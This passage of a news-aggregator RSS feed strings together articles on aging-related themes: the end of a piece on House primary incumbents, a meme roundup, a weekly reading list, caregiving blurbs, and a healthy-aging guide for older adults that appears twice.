And four out of six member-on-member contests that have taken place so far in 2022 saw the member who represented less of their new district winning their race, according to Daily Kos Elections. In Georgia, for example, McBath won despite representing just 12% of her new district, while her opponent represented over 57% of it.    

Partisanship and ideology are now playing a more prominent role than age and seniority in shaping House primaries, especially on the Republican side. 

The winners of the two 2022 primaries where Republican incumbents faced each other, Miller and Mooney had firmly aligned with Trump's wing of the Republican Party, earned Trump's endorsement, and also enjoyed outside spending on their behalf by groups like the Club for Growth and the political arm of the House Freedom Caucus. 

In Illinois, Miller defeated Davis by 14 points despite raising and spending less money than Davis, serving in Congress for less time, and only representing slightly more of the new district. Mooney, who also served less time and represented just a third of the redrawn district, defeated McKinley by an even wider margin of 18 points. 

Knocking out an incumbent with years of lawmaking experience is still difficult, and older candidates' structural advantages aren't disappearing. But the forces of partisanship are making it easier for challengers. 

House Republicans who fought the Trumpian takeover of the party, like Reps. Liz Cheney, Tom Rice, Peter Meijer, and Jaime Herrera Beutler, all lost to Trump-backed primary challengers. And others, like Kinzinger and Reps. Anthony Gonzalez, John Katko, and Fred Upton, chose to forgo running altogether. 

In all, 14 House incumbents lost renomination in 2022, the highest number in a single cycle since 1992. The forces of partisanship and polarization, Carson said, would have pushed that number even higher if not for dozens of members heading for the exits.

"For the longest time, it was hard to beat incumbents because people of the opposite party would be willing to cross party lines," Carson said. "That has changed. If you're a Democrat in a Republican district, your days are probably numbered."

Read the original article on Business Insider

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]]> https://briefnews.eu/fights-over-political-lines-have-fueled-the-aging-of-americas-government-but-that-may-be-changing/feed/ 0 A new meme asks ‘How Hard Did Aging Hit You’ since 2009 — and people have the perfect responses https://briefnews.eu/a-new-meme-asks-how-hard-did-aging-hit-you-since-2009-and-people-have-the-perfect-responses/ https://briefnews.eu/a-new-meme-asks-how-hard-did-aging-hit-you-since-2009-and-people-have-the-perfect-responses/#respond Mon, 14 Jan 2019 18:18:01 +0000 http://briefnews.eu/a-new-meme-asks-how-hard-did-aging-hit-you-since-2009-and-people-have-the-perfect-responses/ black swan thumbFox Searchlight Pictures

  • A viral photo challenge asks people to show how much they have changed in the last 10 years.
  • The “How Hard Did Aging Hit You” challenge got an earnest start on Facebook.
  • But on Twitter people are treating it as a joke.
  • Here are some of the best memes.

A lot can change in one year, let alone 10. And a new meme recognizes that, as humans who exist in corporeal forms, we are ever-changing — so go ahead and share your transformation with your closest friends: your Twitter followers.

Read more: An Instagram influencer is canceling her tour after people called her $ 165 seminar a scam

See the rest of the story at Business Insider

NOW WATCH: I swapped out my daily skin care products for cheaper versions found on Amazon under $ 15 — and some surprised me

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]]> https://briefnews.eu/a-new-meme-asks-how-hard-did-aging-hit-you-since-2009-and-people-have-the-perfect-responses/feed/ 0 Recommended Reading: Robert De Niro, Aging in Bookstores, and Why Cultural Critics Matter https://briefnews.eu/recommended-reading-robert-de-niro-aging-in-bookstores-and-why-cultural-critics-matter/ https://briefnews.eu/recommended-reading-robert-de-niro-aging-in-bookstores-and-why-cultural-critics-matter/#respond Sat, 05 Jan 2019 13:49:01 +0000 http://briefnews.eu/recommended-reading-robert-de-niro-aging-in-bookstores-and-why-cultural-critics-matter/ Modern online media is all about the signal boost, so every Friday here at Flavorwire, we take a moment to spotlight some of the best stuff we’ve read online this week. Today, thoughts on how our reading habits change, a troubling exposé of a YouTube scam, a call for more arts criticism, and an interview with a legend. 

Michael Schulman interviews Robert De Niro.

Robert De Niro doesn’t give a lot of interviews — and when he does, he’s known to be a tough one. He’s not combative or evasive; he just does what he does, and doesn’t really like to talk about it. But Schulman’s sit-down for the New Yorker gets some good quotes out of the iconic actor, particularly on how his best-known characters relate to the current cultural moment:

I do find it interesting that you’ve played so many men who’ve felt this rage and alienation—even Jack Byrnes in “Meet the Parents,” who can’t access his emotions. Between Trump and #MeToo, it’s been a rough couple years for masculinity. What does being a real man mean to you?

Being a real man is not just being a man the way you’d think. If you think that I should do this or that or I’m not a man—I’m sorry. Men are much more complex, and there are many more sides to them. You gotta be sensitive. You gotta care about people, have empathy. And someone like Trump, he’s got something screwed loose in his head. But it’s through some deep insecurity that he actually behaves the way he does, because it’s all bullshit. And people buy into that with him, with his behavior. It’s sad. That’s not what life is about. But some people are in cultures where they’re all like that, they all reinforce it in each other. The sensitive ones are afraid to say anything. I made a movie, “A Bronx Tale,” and those kids, they don’t want to look like they’re not tough with their peers. The bottom line is, you gotta be an individual and you gotta stand up and be who you are.

That’s a good way to put it: toughness. People see Trump as tough—

He’s not tough.

—but your work has explored toughness in a lot of different varieties, and there’s good toughness and bad toughness.

You don’t have to behave the way he does. That’s just bullshit bravado. It has nothing to do with anything. If you’re tough, you’d be making decisions that he hasn’t made.

Steve Edwards on aging and reading.

We can all agree (well, those of us who aren’t jerks) that few things are as exciting and enlightening as a trip to the bookstore, wandering the aisles, deciding what deserves not only our hard-earned money, but our hard-fought attention. In an insightful personal essay at Lithub, author Edwards notes the difference between taking that trip in his 20s and taking it now, in his 40s — how the book stack used to tell him who he wanted to be, and now it says much about who he is and was.

I’d started coming to bookstores because I wanted to learn how to write and the only consistent advice I got from established writers was to read everything. It was good advice. It’s still good advice. It’s also impossible. No one reads everything, nor even all the books they’d like to. You make your choices, come what may. John Muir’s famous quote about ecology might as well have been about choosing what books to buy: “When we try to pick out anything by itself, we find it hitched to everything else in the Universe.” The bookstore is a liminal space. Even if like me you don’t have the cash to buy a box of new titles and reinvent yourself week to week, you have the moment of the choosing and everything it tugs upon.

As a young writer, I thought I had to read widely in order to learn different authors’ styles and sentence structures and voices. I thought I needed a sense of what sang and what sold, what had been done and done to death. But what I needed more than anything were the consequences of my choices. I needed to live the lives the books I read compelled me to lead—to be brave, big-hearted, open to surprise and welcoming of mystery. Until I had a lived, my study of sentences was nothing more than a corkboard of pin-stuck insects arranged by genus and species. I could gain knowledge from such cold classifications but it wasn’t the same as standing in some open mountain meadow, flowers teeming with wings, crickets under every rock. What I needed was the quality of attention the writers I loved brought to the page, their fidelity to translating perception into sequences of language that edified me for losing (and finding) myself in them. If I wanted to understand crickets, I had to become like the grasses in the meadow soaking up every call.

Julia Alexander on “Mystery Brand.”

Few writers are as skilled at navigating the confounding waters of YouTube “influencers” like Alexander, and her latest for The Verge is a doozy: Jake Paul and Brian “RiceGum” Le are in hot water for running sponsored videos for a sketchy company called Mystery Brand, “a form of loot box-style gambling” in which buyers might win valuable prizes like designer clothes, high-dollar sneakers, and even cars and houses. But probably not. And YouTube isn’t doing a thing about it.

“YouTube believes that creators should be transparent with their audiences if their content includes paid promotion of any kind,” a YouTube spokesperson told The Verge before Le’s apology video was posted. “Our policies make it clear that YouTube creators are responsible for ensuring their content complies with local laws, regulations and YouTube Community Guidelines. If content is found to violate these policies, we take action to ensure the integrity of our platform, which can include removing content.”

YouTube’s policy allows for responsible gambling ads, with restrictions and protections for those watching, but the site doesn’t consider Mystery Brands or loot box-style games as gambling. Essentially, Paul’s and Le’s videos exist in a very specific gray area. YouTube’s policies do state that creators can not promote spam, deceptive practices, or scams, even through partnerships. If YouTube determines a company is taking advantage of users, its policy is to take down sponsored videos for violating the company’s community guidelines — but so far, it’s not clear whether Mystery Brand has broken those rules. But those policy nuances haven’t stopped other creators from calling out Paul and Le for intentionally misleading their followers.

Todd VanDerWerff on why cultural criticism matters.

And here’s one more year-end piece, which snuck in just under the wire on New Year’s Eve. It’s been a rough damn year for arts criticism. The Village Voice is gone, and Voice Media is shuttering its TV and film verticals. The AV Club, BuzzFeed, The Fader, and this very site have seen layoffs for critical voices. And it’s easy to assume that in this moment where the stakes of our politics are literally life and death, such losses are acceptable — after all, it’s just entertainment. Vox‘s VanDerWerff argues the contrary.

Once we know where we’re going, all of this will make more sense. But culture writing isn’t about predicting the future — it’s about predicting the present.

When I make the above argument in favor of cultural criticism to journalistic colleagues who deal in what might be dubbed the “hard sciences” of journalism — data-driven, boots-on-the-ground reporting — I am always aware that it sounds just a little fantastical. And there have been many times that I and my critical brethren have just plumb missed something burbling away in the national subconscious. Few critics looked at the pop culture of the early 2010s and said, “Yep, a culture war’s brewing,” even if it seems blindingly obvious in hindsight.

You can attribute at least some of missing that particular boat to the geographical concentration of cultural critics in New York and Los Angeles (where I live). The homogeneity of critics — too many of us are white, too many of us are male, and too many of us live on one of the coasts — is a real problem that needs to be corrected sooner, rather than later, if we are to better understand the dreams a multicultural nation is having, sometimes in parallel and sometimes in bloody intersection.

                        

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]]> https://briefnews.eu/recommended-reading-robert-de-niro-aging-in-bookstores-and-why-cultural-critics-matter/feed/ 0 The Call to Care for Aging Parents Comes Sooner Now https://briefnews.eu/the-call-to-care-for-aging-parents-comes-sooner-now/ https://briefnews.eu/the-call-to-care-for-aging-parents-comes-sooner-now/#respond Mon, 06 Aug 2018 22:07:46 +0000 http://briefnews.eu/the-call-to-care-for-aging-parents-comes-sooner-now/ More millennials are responsible for their parents and grandparents, sometimes derailing careers and family life.

]]> https://briefnews.eu/the-call-to-care-for-aging-parents-comes-sooner-now/feed/ 0 ‘I can’t continue to do this forever’: Families with children aging out of care seek answers https://briefnews.eu/i-cant-continue-to-do-this-forever-families-with-children-aging-out-of-care-seek-answers/ https://briefnews.eu/i-cant-continue-to-do-this-forever-families-with-children-aging-out-of-care-seek-answers/#respond Sun, 17 Jun 2018 00:46:42 +0000 http://briefnews.eu/i-cant-continue-to-do-this-forever-families-with-children-aging-out-of-care-seek-answers/ Canto family

On June 12, White Coat Black Art hosted a panel called Crisis of Care: Help for Families and their High-Needs Kids as they Age out of the System.

]]> https://briefnews.eu/i-cant-continue-to-do-this-forever-families-with-children-aging-out-of-care-seek-answers/feed/ 0 A Definitive Guide to Healthy Aging (For Older Adults) https://briefnews.eu/a-definitive-guide-to-healthy-aging-for-older-adults-2/ https://briefnews.eu/a-definitive-guide-to-healthy-aging-for-older-adults-2/#respond Sun, 10 Jun 2018 16:52:47 +0000 http://briefnews.eu/a-definitive-guide-to-healthy-aging-for-older-adults-2/ There’s living longer, and there’s living better. Healthy aging is about living better for longer.

The biggest challenge we face is not adding years to our life, it’s making those years count by being able to be fully active, independent and happy. We want to travel, dance, date, learn, laugh and have fun as we age. We want to be energetic and vibrant.

By reading this guide, you’ll learn the latest habits for healthy aging and well-being. Research has shown that there are specific strategies for your diet, sleep, exercise, relationships and preventative care that can dramatically improve your quality of life well into your Golden years – helping you avoid chronic disease, while living longer and healthier.

Why healthy aging matters

Old age can be fraught with challenges to your health. According to the United States Department of Health and Human Services, more than 1 in 4 Americans live with multiple chronic health conditions like arthritis, asthma, diabetes, heart disease, hypertension and chronic respiratory conditions.[1]

Each of these chronic conditions can interfere with your ability to remain independent and perform activities of daily living on your own. Not only that, chronic health conditions can cause significant financial strain as you might face additional out of pocket expenses for medical treatments, caregiving and higher prescription drug costs.

The good news is, there are positive steps you can take to reduce the likelihood of injury and disease. These steps will make your body stronger, your mind sharper and your immune system a protective fortress.

Healthy aging basics

Nutrition and diet

Choosing healthy foods is critical to your health and well-being, especially as you age! Your body goes through significant changes in your 60’s, 70’s and 80’s. Your diet arms your body with the energy and nutrients it needs as you age. These tips are scientifically proven to help you choose the right foods to improve your health at each stage of life.

Drink lots of liquids

As we age, we tend to drink less than we need to because we lose our sense of thirst,[2] get urinary tract infections and tend to be a little more incontinent. However, medications can make it more important than ever to stay well hydrated.

To help yourself get in the habit of drinking more throughout the day, take a sip of your drink between bites during mealtime, drink a glass of water when you take your pills and have a glass of water before and after you exercise, especially on hot days.

Choose liquids low in sugar, sodium and fat. Good choices include water, skim milk, 100% juices (apple, cranberry, orange) and low-fat soups.

TIP: Long term care guide

Know what to eat

Eat a variety of foods every day to get the nutrients you need. Eat a rainbow of bright colored foods[3] to get anti-inflamatory, cancer-fighting, immune-boosting nutrients into your system. Here’s what the nutrition rainbow of foods look like:

Healthy meals include:

  • Lean protein (chicken, pork, lean meat, seafood, eggs, legumes)
  • Fruits and vegetables (think red, green, orange, blue, purple)
  • Whole grains (oatmeal, wild rice, whole heat toast)
  • Low-fat dairy (skim milks, low-fat cheese)

Also try eating foods that are high in Vitamin D (essential as we age) and fiber and low in fat and sodium.

Know how much to eat

The Dietary Guidelines suggest people aged 50 and older choose from the following foods each day. This is a great starting point to help you get a sense for what and how much you ought to eat each day:[4]

  • Fruits—1½ to 2½ cups
  • Vegetables—2 to 3½ cups
  • Grains—5 to 10 ounces
  • Protein foods—5 to 7 ounces
  • Dairy foods—3 cups of fat-free or low-fat milk
  • Oils—5 to 8 teaspoons
  • Solid fats and added sugars (SoFAS) and sodium (salt)—keep the amount of SoFAS and sodium small.

Here are some very useful visual aids from the National Institute of Health to help you get a sense of how big a portion is:

Read labels

Eating fresh is best, but if you do buy packaged, canned or bottled foods, read the labels. Avoid foods with high sugar, sodium or saturated fat levels:

  • For sugar, try not to have more than 6-9 teaspoons of added sugar a day (25-36 grams).
  • For sodium, people over 50 should limit themselves to no more than 1,500 mg per day.
  • For fat, target somewhere between 18 and 25 grams of saturated fats per day – no more than 10% of your daily calories should come from saturated fats.

Sleep and age

According to the National Sleep Foundation, older adults, aged 50-65 need between 7-9 hours of sleep per night and those aged over 65 need between 7-8 hours of sleep per night.[5]

However, a full night’s sleep becomes increasingly challenging for many older adults. We tend to fall asleep less deeply and wake up more throughout the night resulting in chronic sleep deprivation.

Often times, medical conditions such as sleep apnea, arthirtis, acid reflux, congestive heart failure and depression are the cause. Other times, conditions like restless leg syndrome or periodic leg movements make staying asleep difficult. The good news is, treating the underlying medical condition often leads to significantly improved sleep.

Poor sleep can have profound negative effects on your physical and mental well-being. There is a significant amount of research that has conclusively linked lack of sleep to poorer memory, disease and shortened life spans.[6] Here’s a list of just a few of the consequences:

  • Obesity
  • Diabetes
  • Heart Disease & Hypertension
  • Mood Disorders
  • Immune Disfunction
  • Shortened Life Expectancy

Although a good sleep may seem difficult, if not impossible to find, there are actually many things we can do to drastically increase the odds of a good night’s sleep:

  1. Avoid caffeine, nicotine, alcohol and other stimulants that get in the way of sleep.
  2. Have a light supper or snack before bedtime – avoid heavy meals late in the day.
  3. Don’t drink too much before bed. Drink just enough to avoid waking up to go pee in the middle of the night.
  4. Don’t nap too late in the day. If you miss your day time nap, don’t nap at all. Take your naps earlier in the day, maybe before 3PM. Napping too late will keep you up later, causing a vicious cycle of a poor nights sleep, resulting in a need for a nap.
  5. Exercise early in the day as opposed to after dinner. Exercising early will actually help you sleep. However, doing so late will stimulate your body and keep you up.
  6. Keep a consistent sleep schedule. Going to bed and waking up at the same time each day will make it easier for your body to establish a sleep rythm. It’s even more important that you wake up at the same time each morning – it will force your body to sleep at night.
  7. Don’t check your watch, clock or phone if you wake-up at night. If you can’t resist, remove them from your night table.
  8. Create a sleep friendly environment in your bedroom. Keep it dark, quiet and cool. Get a comfortable mattress, pillow, sheets, blanket, black out blinds, eye mask, ear plugs or white noise if necessary.
  9. Create a consistent and conducive pre-sleep routine: Take a bath, have an herbal tea and consider getting into bed with a book 30-60 minutes before you want to fall asleep; avoid screens, especially phones and iPads 30 minutes before bed.

Exercise

It’s no secret that daily exercise, combined with a healthy diet, is like a tonic for the body. It is the Holy Grail.

Exercise helps seniors stay active, independent and mobile longer, while helping stave off disease. But even more importantly, seniors with good fitness levels show better decision making, critical thinking and planning skills than their peers, while keeping cognitive decline, memory loss and dementia at bay.[7]

You don’t have to turn yourself into an Olympian to get the benefits of exercise either. As we covered in our previous article on exercise for seniors, a recent study from Harvard University suggested seniors get the following amount of exercise:

  • At least 150 minutes of walking or other aerobic exercise per week
  • Strength training 2-3 times per week, but never 2 days in a row
  • Stretch and balance exercises every day

Check out what exercises are best for seniors here: Exercise for Seniors: How to Improve Strength and Balance (And Stay Fit)

Daily habits

There’s a lot of advice out there regarding what’s good and bad for you, and it changes every year. One day wine is good for you, the next it’s bad. One day eggs are bad for you, the next day they’re a superfood.

So I’ve put together a list of 5 habits that have a wide consensus when it comes to their benefit for you. These habits will make a big difference in your life. Here you go:

  • Move daily: The more you move the better. Walk, swim, play tennis, it doesn’t matter as long as you get moving and do it daily. Research shows that sustained physical activity improves your odds of healthy aging by seven times![8]
  • Do something to make yourself smile – a lot: People who smile live longer and are typically happier and healthier than those who smile less.[9] Forcing a smile won’t magically add years to your life, but doing things that make you smile will.
  • Turn off the TV: Every hour of TV watching reduces life expectancy by 22 minutes! So if you sit in front of the TV for six hours a day, you’ll live 5 years less according to a study by the University of Queensland.[10] Fill your time getting together with friends, cooking, gardening, walking, painting, writing and reading etc.
  • Spend time with friends and family: Having a strong social network with family, friends and colleagues makes you healthier and extends your life according to studies from Brigham Young University.[11] In fact, according to a study from the University of North Carolina, Chapel Hill, a wide social network is as important as exercise and diet in maintaining our health.
  • Be mindful and meditate: It may sound like hocus pocus to you, but mindfulness and meditation are going mainstream. Even researchers at Harvard are touting the benefits of meditation for seniors.[12] Only 15 minutes a day can improve your mind, health and mood while reducing stress, pain and depression.

Preventive care

It’s always better to stay one step ahead, especially when it comes to your health. If you’re willing to take your car into the shop for a tune up every year, there’s no excuse not to do the same for yourself.

As a senior, the frequency with which you should visit your doctors, get vaccinations and screen for any issues to ensure you prevent and nip any problems in the bud can make a significant difference to your health.

Here’s a list of preventive care measures recommended by the U.S. Health Department (please discuss with your doctor):[13]

  • Abdominal aortic aneurysm one-time screening for men of specified ages who have ever smoked
  • Aspirin use to prevent cardiovascular disease for men and women of certain ages (Talk with your doctor about taking aspirin every day)
  • Blood pressure screening for all adults
  • Breast cancer screening every 2 years between ages 55-74
  • Cholesterol screening for adults of certain ages or at higher risk
  • Colorectal cancer screening annually to at least age 65
  • Diabetes (type 2) screening for adults with high blood pressure
  • Diet counseling for adults at higher risk for chronic disease
  • Hepatitis C screening for adults at increased risk and one-time screening for everyone born between 1945 and 1965
  • HIV screening for everyone ages 15 to 65, and other ages at increased risk
  • Immunization vaccines for adults (doses, recommended ages, and recommended populations vary):
    – Hepatitis A
    – Hepatitis B
    – Herpes Zoster (Shingles)
    – Human Papillomavirus (HPV)
    – Influenza (Flu)
    – Measles, Mumps, Rubella (MMR)
    – Meningococcal
    – Pneumococcal
    – Tetanus, Diphtheria, Pertussis
    – Varicella (Chickenpox)
  • Lung cancer screening for adults ages 55 to 80 who are at high risk because they are heavy smokers or have quit in the past 15 years
  • Obesity screening and counseling for all adults
  • Get tested for Chlamydia and Gonorrhea
  • Syphilis screening for all adults at higher risk
  • Tobacco use screening for all adults and cessation interventions for tobacco users

I also recommend you get an annual wellness check-up, an eye exam every year for adults over 60 years of age and a teeth cleaning once a year if your teeth are in good condition.

Visiting your doctor once a year is not only essential to spot check your health and take the appropriate tests, it’s also a good opportunity to discuss and review medications with your doctor – a key determinant of your health.

Social relationships (And sex)

Staying socially engaged helps seniors in everything from staying in shape to staying mentally fit and extending your lifespan.

According to the National Institute on Aging, research indicates that:[14]

  • Deep social relationships are associated with positive health bio-markers;
  • Social well-being is associated with lower inflammation that causes Alzheimers, osteoporosis, arthritis and cardiovadcular disease;
  • Social isolation is a strong risk factor for morbidity and mortality, especially among older adults;
  • Loneliness is correlated to high blood pressure;
  • Loneliness is a risk factor for depression.

So create and maintain positive relationships with family, friends and colleagues. If you feel isolated, try volunteering, joining a gym with fitness classes, playing cards, going for coffees with friends and doing dinners with family.

But if you really want to add some spice to your life and improve your health, you should have more sex! Yes, it’s doctors’ orders and here’s why:

  • Sex improves your sleep. Orgasms increase the hormone oxytocin and decrease cortisol, reducing stress and anxiety.[15]
  • Sex keeps you looking younger. According to a study by Scotland’s Royal Edinburgh Hospital, older couples who have sex at least 3 times a week look up to 7 years younger than their peers.[16]
  • Sex makes you happy. We know happy is important to our overall health. According to one study , couples having sex once a week were 44 percent happier than those who had no sex in the past year.[17]

READ MORE: 15 Best Websites for Seniors in 2021: Dating, Health, Jobs + More

Long-term care

As seniors lose the ability to perform activities of daily living on their own (bathing, cooking, dressing, toileting, cleaning, driving, etc.), it becomes essential to find long-term care solutions while helping them live as independently and safely as possible.

It’s important you start planning, saving and sharing your preferences with your family members before you need the care. These decisions are often expensive, complex and will have a significant impact on you and your loved ones as you age.

Long-term care comes in many forms. The National Institute of Aging describes them as follows:[18]

  • Home health care: Home health care is usually related to medical services provided in a home setting. These services might include physical, occupational or speech therapy.
  • Homemaker services: Homemaker services usually describe care involving assistance with activities of daily living like bathing, toileting and food preparation.
  • Friendly visitor / Companion services: Companion services are offered by private agencies or volunteers who pay visits to seniors who are frail or living alone.
  • Transportation services: Transportation services help seniors get to and from medical appointments, senior centers, the shopping mall and more. With reduced mobility, transportation is essential to help seniors manage their lives and stay involved and connected within their communities.
  • Emergency response systems: This is especially useful for seniors living alone or at risk of falling, medical alert systems allow users to press a help button on their wrist or around their neck in the event of an emergency.
  • Adult day care: Adult day care is a daytime center that offers activities for seniors throughout the day, offering a social environment, meals and activities without the expense of boarding.
  • Residential facilities: Residential care facilities or boarding homes offer residents private or shared rooms, personal care, medication dispensing and meals. Staff are available at all times. However, there is limited help with activities of daily living and no medical care provided.
  • Assisted living communities: Assisted living communities are for seniors who also need assistance with activities of daily living like bathing, dressing, toileting and cooking. There are typically organized activities and common areas to encourage sociability as well.
  • Nursing homes: Nursing homes offer patients skilled nursing assistance, medical treatment, 24 hour care and physical therapy in addition to meals and assistance with activities of daily living.

Healthy aging begins with you

Aging healthily doesn’t happen by chance. Sure there’s the luck of the genetic draw but barring luck, there’s a lot we can do to improve our chances of living well into our golden years with health, happiness, vigor and purpose.

Following the approach set out in this guide will help you establish the diet, sleep, exercise, social and preventative care habits that will not only help you live longer, but better!

Featured photo credit: Unsplash via unsplash.com

Reference

[1] ^ United States Department of Health and Human Services: Multiple Chronic Conditions: A Strategic Framework
[2] ^ National Institute on Aging: Getting Enough Fluids
[3] ^ The Cancer Project.org: The Nutrition Rainbow
[4] ^ USDA: Dietary Guidelines
[5] ^ National sleep foundation: Recommended new sleep times
[6] ^ Healthy Sleep: Sleep and Disease Risk
[7] ^ TIME: How Exercise May Help Protect Your Brain From Cognitive Decline and Dementia
[8] ^ Psychology Today: What Daily Habit Can Boost “Healthy Aging” Odds Sevenfold?
[9] ^ Ron Gutman: The hidden power of smiling
[10] ^ The Telegraph: Every hour of TV watching shortens life by 22 minutes
[11] ^ BYU News: Stayin’ alive: That’s what friends are for
[12] ^ Harvard Medical School: Now and Zen: How mindfulness can change your brain and improve your health
[13] ^ USA Health Care Department: Preventive care benefits for adults
[14] ^ National Institute on Aging: Research Suggests a Positive Correlation between Social Interaction and Health
[15] ^ NCBI: Influence of sex on sleep regulatory mechanisms.
[16] ^ Scotland’s Royal Edinburgh Hospital: Sex is the secret to looking younger, claims researcher
[17] ^ University of Colorado Boulder: In sex, happiness hinges on keeping up with the Joneses
[18] ^ National Institute of Aging: What Is Long-Term Care?

The post A Definitive Guide to Healthy Aging (For Older Adults) appeared first on Lifehack.

]]> https://briefnews.eu/a-definitive-guide-to-healthy-aging-for-older-adults-2/feed/ 0 A Definitive Guide to Healthy Aging (For Older Adults) https://briefnews.eu/a-definitive-guide-to-healthy-aging-for-older-adults/ https://briefnews.eu/a-definitive-guide-to-healthy-aging-for-older-adults/#respond Fri, 25 May 2018 12:02:06 +0000 http://briefnews.eu/a-definitive-guide-to-healthy-aging-for-older-adults/

There’s living longer, and there’s living better. Healthy aging is about living better for longer.

The biggest challenge we face is not adding years to our life, it’s making those years count by being able to be fully active, independent and happy. We want to travel, dance, date, learn, laugh and have fun as we age. We want to be energetic and vibrant.

By reading this guide, you’ll learn the latest habits for healthy aging and well-being. Research has shown that there are specific strategies for your diet, sleep, exercise, relationships and preventative care that can dramatically improve your quality of life well into your Golden years – helping you avoid chronic disease, while living longer and healthier.

Why healthy aging matters

Old age can be fraught with challenges to your health. According to the United States Department of Health and Human Services, more than 1 in 4 Americans live with multiple chronic health conditions like arthritis, asthma, diabetes, heart disease, hypertension and chronic respiratory conditions.[1]

Each of these chronic conditions can interfere with your ability to remain independent and perform activities of daily living on your own. Not only that, chronic health conditions can cause significant financial strain as you might face additional out of pocket expenses for medical treatments, caregiving and higher prescription drug costs.

The good news is, there are positive steps you can take to reduce the likelihood of injury and disease. These steps will make your body stronger, your mind sharper and your immune system a protective fortress.

Healthy aging basics

Nutrition and diet

Choosing healthy foods is critical to your health and well-being, especially as you age! Your body goes through significant changes in your 60’s, 70’s and 80’s. Your diet arms your body with the energy and nutrients it needs as you age. These tips are scientifically proven to help you choose the right foods to improve your health at each stage of life.

Drink lots of liquids

As we age, we tend to drink less than we need to because we lose our sense of thirst,[2] get urinary tract infections and tend to be a little more incontinent. However, medications can make it more important than ever to stay well hydrated.

To help yourself get in the habit of drinking more throughout the day, take a sip of your drink between bites during mealtime, drink a glass of water when you take your pills and have a glass of water before and after you exercise, especially on hot days.

Choose liquids low in sugar, sodium and fat. Good choices include water, skim milk, 100% juices (apple, cranberry, orange) and low-fat soups.

Know what to eat

Eat a variety of foods every day to get the nutrients you need. Eat a rainbow of bright colored foods[3] to get anti-inflamatory, cancer-fighting, immune-boosting nutrients into your system. Here’s what the nutrition rainbow of foods look like:

Healthy meals include:

  • Lean protein (chicken, pork, lean meat, seafood, eggs, legumes)
  • Fruits and vegetables (think red, green, orange, blue, purple)
  • Whole grains (oatmeal, wild rice, whole heat toast)
  • Low-fat dairy (skim milks, low-fat cheese)

Also try eating foods that are high in Vitamin D (essential as we age) and fiber and low in fat and sodium.

Know how much to eat

The Dietary Guidelines suggest people aged 50 and older choose from the following foods each day. This is a great starting point to help you get a sense for what and how much you ought to eat each day:[4]

  • Fruits—1½ to 2½ cups
  • Vegetables—2 to 3½ cups
  • Grains—5 to 10 ounces
  • Protein foods—5 to 7 ounces
  • Dairy foods—3 cups of fat-free or low-fat milk
  • Oils—5 to 8 teaspoons
  • Solid fats and added sugars (SoFAS) and sodium (salt)—keep the amount of SoFAS and sodium small.

Here are some very useful visual aids from the National Institute of Health to help you get a sense of how big a portion is:

Read labels

Eating fresh is best, but if you do buy packaged, canned or bottled foods, read the labels. Avoid foods with high sugar, sodium or saturated fat levels:

  • For sugar, try not to have more than 6-9 teaspoons of added sugar a day (25-36 grams).
  • For sodium, people over 50 should limit themselves to no more than 1,500 mg per day.
  • For fat, target somewhere between 18 and 25 grams of saturated fats per day – no more than 10% of your daily calories should come from saturated fats.

Sleep and age

According to the National Sleep Foundation, older adults, aged 50-65 need between 7-9 hours of sleep per night and those aged over 65 need between 7-8 hours of sleep per night.[5]

However, a full night’s sleep becomes increasingly challenging for many older adults. We tend to fall asleep less deeply and wake up more throughout the night resulting in chronic sleep deprivation.

Often times, medical conditions such as sleep apnea, arthirtis, acid reflux, congestive heart failure and depression are the cause. Other times, conditions like restless leg syndrome or periodic leg movements make staying asleep difficult. The good news is, treating the underlying medical condition often leads to significantly improved sleep.

Poor sleep can have profound negative effects on your physical and mental well-being. There is a significant amount of research that has conclusively linked lack of sleep to poorer memory, disease and shortened life spans.[6] Here’s a list of just a few of the consequences:

  • Obesity
  • Diabetes
  • Heart Disease & Hypertension
  • Mood Disorders
  • Immune Disfunction
  • Shortened Life Expectancy

Although a good sleep may seem difficult, if not impossible to find, there are actually many things we can do to drastically increase the odds of a good night’s sleep:

  1. Avoid caffeine, nicotine, alcohol and other stimulants that get in the way of sleep.
  2. Have a light supper or snack before bedtime – avoid heavy meals late in the day.
  3. Don’t drink too much before bed. Drink just enough to avoid waking up to go pee in the middle of the night.
  4. Don’t nap too late in the day. If you miss your day time nap, don’t nap at all. Take your naps earlier in the day, maybe before 3PM. Napping too late will keep you up later, causing a vicious cycle of a poor nights sleep, resulting in a need for a nap.
  5. Exercise early in the day as opposed to after dinner. Exercising early will actually help you sleep. However, doing so late will stimulate your body and keep you up.
  6. Keep a consistent sleep schedule. Going to bed and waking up at the same time each day will make it easier for your body to establish a sleep rythm. It’s even more important that you wake up at the same time each morning – it will force your body to sleep at night.
  7. Don’t check your watch, clock or phone if you wake-up at night. If you can’t resist, remove them from your night table.
  8. Create a sleep friendly environment in your bedroom. Keep it dark, quiet and cool. Get a comfortable mattress, pillow, sheets, blanket, black out blinds, eye mask, ear plugs or white noise if necessary.
  9. Create a consistent and conducive pre-sleep routine: Take a bath, have an herbal tea and consider getting into bed with a book 30-60 minutes before you want to fall asleep; avoid screens, especially phones and iPads 30 minutes before bed.

Exercise

It’s no secret that daily exercise, combined with a healthy diet, is like a tonic for the body. It is the Holy Grail.

Exercise helps seniors stay active, independent and mobile longer, while helping stave off disease. But even more importantly, seniors with good fitness levels show better decision making, critical thinking and planning skills than their peers, while keeping cognitive decline, memory loss and dementia at bay.[7]

You don’t have to turn yourself into an Olympian to get the benefits of exercise either. As we covered in our previous article on exercise for seniors, a recent study from Harvard University suggested seniors get the following amount of exercise:

  • At least 150 minutes of walking or other aerobic exercise per week
  • Strength training 2-3 times per week, but never 2 days in a row
  • Stretch and balance exercises every day

Check out what exercises are best for seniors here: Exercise for Seniors: How to Improve Strength and Balance (And Stay Fit)

Daily habits

There’s a lot of advice out there regarding what’s good and bad for you, and it changes every year. One day wine is good for you, the next it’s bad. One day eggs are bad for you, the next day they’re a superfood.

So I’ve put together a list of 5 habits that have a wide consensus when it comes to their benefit for you. These habits will make a big difference in your life. Here you go:

  • Move daily: The more you move the better. Walk, swim, play tennis, it doesn’t matter as long as you get moving and do it daily. Research shows that sustained physical activity improves your odds of healthy aging by seven times![8]
  • Do something to make yourself smile – a lot: People who smile live longer and are typically happier and healthier than those who smile less.[9] Forcing a smile won’t magically add years to your life, but doing things that make you smile will.
  • Turn off the TV: Every hour of TV watching reduces life expectancy by 22 minutes! So if you sit in front of the TV for six hours a day, you’ll live 5 years less according to a study by the University of Queensland.[10] Fill your time getting together with friends, cooking, gardening, walking, painting, writing and reading etc.
